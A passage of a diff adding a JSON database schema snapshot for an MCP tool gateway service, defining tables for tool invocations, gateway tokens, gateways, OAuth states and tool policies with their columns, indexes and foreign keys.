+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_state": {
+          "name": "approval_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_required'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "upstream_request_id": {
+          "name": "upstream_request_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_artifact_id": {
+          "name": "result_artifact_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_invocations_company_created_idx": {
+          "name": "tool_invocations_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_run_idx": {
+          "name": "tool_invocations_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_issue_idx": {
+          "name": "tool_invocations_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_gateway_idx": {
+          "name": "tool_invocations_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_company_idempotency_uq": {
+          "name": "tool_invocations_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_invocations_company_id_companies_id_fk": {
+          "name": "tool_invocations_company_id_companies_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_agent_id_agents_id_fk": {
+          "name": "tool_invocations_agent_id_agents_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_issue_id_issues_id_fk": {
+          "name": "tool_invocations_issue_id_issues_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_invocations_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_invocations_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_application_id_tool_applications_id_fk": {
+          "name": "tool_invocations_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_connection_id_tool_connections_id_fk": {
+          "name": "tool_invocations_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateway_tokens": {
+      "name": "tool_mcp_gateway_tokens",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_prefix": {
+          "name": "token_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "subject_type": {
+          "name": "subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_client'"
+        },
+        "subject_id": {
+          "name": "subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_label": {
+          "name": "client_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "owner_note": {
+          "name": "owner_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "allowed_actions": {
+          "name": "allowed_actions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[\"tools/list\",\"tools/call\"]'::jsonb"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_reason": {
+          "name": "expiry_override_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_user_id": {
+          "name": "expiry_override_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_agent_id": {
+          "name": "expiry_override_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_at": {
+          "name": "expiry_override_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateway_tokens_token_hash_uq": {
+          "name": "tool_mcp_gateway_tokens_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_gateway_idx": {
+          "name": "tool_mcp_gateway_tokens_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_subject_idx": {
+          "name": "tool_mcp_gateway_tokens_subject_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_company_expires_idx": {
+          "name": "tool_mcp_gateway_tokens_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateway_tokens_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateway_tokens_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "expiry_override_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateways": {
+      "name": "tool_mcp_gateways",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gw_' || replace(gen_random_uuid()::text, '-', '')"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_slug": {
+          "name": "display_slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_profile_mode": {
+          "name": "default_profile_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_only'"
+        },
+        "context_scope_type": {
+          "name": "context_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "context_scope_id": {
+          "name": "context_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_issue_id": {
+          "name": "approval_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "auth_config": {
+          "name": "auth_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"bearer\":{\"enabled\":true,\"tokenPrefix\":\"pcgw\",\"defaultTtlSeconds\":7776000,\"requireFiniteExpiry\":true,\"longLivedTokenRequiresOverride\":true},\"oauth\":{\"enabled\":false,\"reservedFor\":\"v1_5\",\"dynamicClientRegistration\":false,\"authorizationCodePkce\":false}}'::jsonb"
+        },
+        "header_policy": {
+          "name": "header_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"callerPassthrough\":{\"enabled\":false,\"allowedHeaders\":[]},\"staticHeaders\":[],\"generatedMetadata\":{\"enabled\":false,\"allowedHeaders\":[]},\"responseHeaders\":{\"forwardMcpRequiredHeaders\":true,\"forwardSafeCacheHeaders\":true}}'::jsonb"
+        },
+        "metadata_policy": {
+          "name": "metadata_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"forwardCompanyId\":false,\"forwardGatewayId\":false,\"forwardProjectId\":false,\"forwardIssueId\":false,\"forwardAgentId\":false,\"forwardRunId\":false,\"forwardCorrelationId\":true}'::jsonb"
+        },
+        "on_demand_tools_config": {
+          "name": "on_demand_tools_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"enabled\":false,\"searchToolName\":\"search_tools\",\"runToolName\":\"run_tool\"}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateways_company_idx": {
+          "name": "tool_mcp_gateways_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_status_idx": {
+          "name": "tool_mcp_gateways_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_profile_idx": {
+          "name": "tool_mcp_gateways_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_public_id_uq": {
+          "name": "tool_mcp_gateways_public_id_uq",
+          "columns": [
+            {
+              "expression": "gateway_public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_slug_uq": {
+          "name": "tool_mcp_gateways_company_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_name_uq": {
+          "name": "tool_mcp_gateways_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateways_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateways_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_profile_id_tool_profiles_id_fk": {
+          "name": "tool_mcp_gateways_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_project_id_projects_id_fk": {
+          "name": "tool_mcp_gateways_project_id_projects_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_approval_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_approval_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "approval_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_oauth_states": {
+      "name": "tool_oauth_states",
+      "schema": "",
+      "columns": {
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "code_verifier": {
+          "name": "code_verifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_id": {
+          "name": "created_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_session_id": {
+          "name": "created_by_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_scopes": {
+          "name": "requested_scopes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_to": {
+          "name": "return_to",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_oauth_states_company_idx": {
+          "name": "tool_oauth_states_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_connection_idx": {
+          "name": "tool_oauth_states_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_actor_idx": {
+          "name": "tool_oauth_states_actor_idx",
+          "columns": [
+            {
+              "expression": "created_by_actor_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_actor_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_expires_at_idx": {
+          "name": "tool_oauth_states_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_oauth_states_company_id_companies_id_fk": {
+          "name": "tool_oauth_states_company_id_companies_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_oauth_states_connection_id_tool_connections_id_fk": {
+          "name": "tool_oauth_states_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_policies": {
+      "name": "tool_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_type": {
+          "name": "policy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "selectors": {
+          "name": "selectors",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_policies_company_enabled_idx": {
+          "name": "tool_policies_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_type_idx": {
+          "name": "tool_policies_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
